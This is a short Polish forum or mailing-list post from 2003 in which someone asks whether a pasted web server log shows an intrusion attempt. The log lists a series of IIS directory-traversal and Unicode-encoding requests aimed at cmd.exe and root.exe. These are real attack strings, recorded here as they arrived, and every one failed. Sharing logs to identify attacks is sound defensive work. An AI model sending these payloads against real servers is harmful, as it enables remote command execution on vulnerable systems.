czy taki log nie jest przypadkiem, z probu wlamu = ??
217.98.24.37 - - [16/Apr/2003:12:56:24 +0200] = "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 283
217.98.24.37 - - [16/Apr/2003:12:56:27 +0200] = "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 281
217.98.24.37 - - [16/Apr/2003:12:56:29 +0200] = "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 = 291
217.98.24.37 - - [16/Apr/2003:12:56:30 +0200] = "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 = 291
217.98.24.37 - - [16/Apr/2003:12:56:30 +0200] = "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir = HTTP/1.0" 404 305
217.98.24.37 - - [16/Apr/2003:12:56:30 +0200] = "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/=
HTTP/1.0" 404 322
217.98.24.37 - - [16/Apr/2003:12:56:33 +0200] = "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/=
HTTP/1.0" 404 322
217.98.24.37 - - [16/Apr/2003:12:56:36 +0200] = "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1=
stem32/cmd.exe?/c+dir HTTP/1.0" 4
217.98.24.37 - - [16/Apr/2003:12:56:39 +0200] = "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir = HTTP/1.0" 404 304
217.98.24.37 - - [16/Apr/2003:12:56:43 +0200] = "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir = HTTP/1.0" 404 304
217.98.24.37 - - [16/Apr/2003:12:56:46 +0200] = "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir = HTTP/1.0" 404 304
217.98.24.37 - - [16/Apr/2003:12:56:50 +0200] = "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir = HTTP/1.0" 404 304
217.98.24.37 - - [16/Apr/2003:12:56:53 +0200] = "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir = HTTP/1.0" 400 288
217.98.24.37 - - [16/Apr/2003:12:56:57 +0200] = "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir = HTTP/1.0" 400 288
217.98.24.37 - - [16/Apr/2003:12:57:00 +0200] = "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir = HTTP/1.0" 404 305
217.98.24.37 - - [16/Apr/2003:12:57:04 +0200] = "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir = HTTP/1.0" 404 305